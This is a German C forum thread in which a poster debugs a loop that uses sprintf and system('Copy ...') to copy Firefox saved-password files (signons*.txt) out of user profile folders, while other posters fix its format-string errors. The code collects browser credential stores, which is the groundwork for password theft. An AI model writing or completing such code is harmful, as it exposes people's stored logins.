For - Schleife + Copy Befehl => Programm hängt sich auf



  • hab jetzt nichts geprüft:
    Aber wird denn CY so schnell verarbeitet wie neugeschrieben?

    mach das mit der C-Funktion copyfile da prüftst du ob die erfolgreich
    ausgeführt wurde, um dann den nächsten Schleifendurchlauf zuzulassen.



  • Danke für den Tip.

    Habe es jetzt so geändert klappt allerdings nicht:

    for( TDZ = 1; TDZ < 10; TDZ++)
              {
               copyfile ("C:/Users/%s/AppData/Roaming/Mozilla/Firefox/Profiles/%s/signons%d.txt" "%s-signons%s.txt",VN,ON,VN,TDZ,TDZ);
    }
    

    Der Compilier sagt folgendes:

    main.o(.text+0x208):main.c: undefined reference to `copyfile'
    collect2: ld returned 1 exit status

    Grüße.

    Wäre sher dankbar für ein kurzes Beispiel wie es richtig geht.



  • Hans Dieter schrieb:

    copyfile ("C:/Users/%s/AppData/Roaming/Mozilla/Firefox/Profiles/%s/signons%d.txt" "%s-signons%s.txt",VN,ON,VN,TDZ,TDZ);
    

    Was soll das sein? 1. Fehlt wohl zwischen den beiden Strings ein Komma, damit das 2 Parameter werden könnten, und 2. was sollen die %s und %d da drin? Glaube kaum, dass du in der Funktion (die ich noch nie verwendet habe, siehe unten), einen String mit Formatangaben einbauen kannst....

    Die einfachste Methode zum Dateien kopieren wäre wohl auch, einfach die Quelldatei im Binärmodus zu öffnen und dann byteweise in eine andere Datei zu schreiben...



  • U-Boot schrieb:

    Die einfachste Methode zum Dateien kopieren wäre wohl auch, einfach die Quelldatei im Binärmodus zu öffnen und dann byteweise in eine andere Datei zu schreiben...

    Nein, wenn es auf der Plattform sowieso schon so eine Funktion gibt ist es besser und einfacher diese zu benutzen. Welche Vorteile sollte man mit einer eigenen CopyFile-Routine haben?



  • Hilft mir aber trotzdem bei meinem Compilier-Fehler nicht weiter 😕

    Grüße.



  • Hans Dieter schrieb:

    Obwohl ich den Fehler mit dem %s jetzt behoben habe,
    stürzt mein Programm noch ab.

    Bist du sicher? Behoben und nicht verlagert? TDZ ist doch eine Zahl, ne?
    Behaupte ich jetzt mal ganz pauschal, denn es kommt in der for-schleife vor:

    for( TDZ = 1; TDZ < 10; TDZ++)

    Also muss da schonmal ein %d oder ein %u hin.

    Hans Dieter schrieb:

    Kann es daran liegen, das ich Dateien kopieren will,
    die nicht existieren?

    Nein, daran kann es nicht liegen. Es erscheint allenfalls ein "Dateiname nicht gefunden" oder sowas in der Konsole.
    Wennze trotzdem voher checken willst, ob die Datei existiert, kannst du z.B. fopen/fclose mit Lesemodus nehmen. Oder PathFileExists, oder _access oder so.

    Der erste Ansatz mit sprintf war schon ok, bloss der Formatstring funzt wohl noch nicht.
    Gruß,
    B.B.



  • Zitat:
    for( TDZ = 1; TDZ < 10; TDZ++)

    Also muss da schonmal ein %d oder ein %u hin.

    Habe das jetzt geändert, aber trotzdem
    hängt sich das Programm noch auf.

    Selbst nach einem Sleep(10);,
    fals die Schleife überlastet ist, bzw. der Befehl,
    hängt es sich noch auf.

    Grüße.



  • Zeig doch nochmal die sprintf Zeile und den System aufruf. Was ist VN und ON?



  • HEy,

    {
              sprintf (CY, "Copy C:\\Users\\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\%s\\signons%d.txt %s-signons%d.txt ",VN,ON,VN,TDZ,TDZ);
              system(CY);
              sleep(10);
              }
    

    Ist die komplette For-Schleife.

    Hier noch die Variablen.

    char VN[100];
        char ON[100];
        char TR[300];
        char CY[300];
        int BS;
        short TDZ;
    

    Grüße.





  • Beide Links haben mir nicht weitergeholfen,
    da ich weder in Cpp programmiere, noch aus der MSDN
    Seite klug werde.

    Grüße.



  • Guckst du noch einmal Formatstring an, sind zwei Fehler drin.



  • sleep kannnste weglassen


Anmelden zum Antworten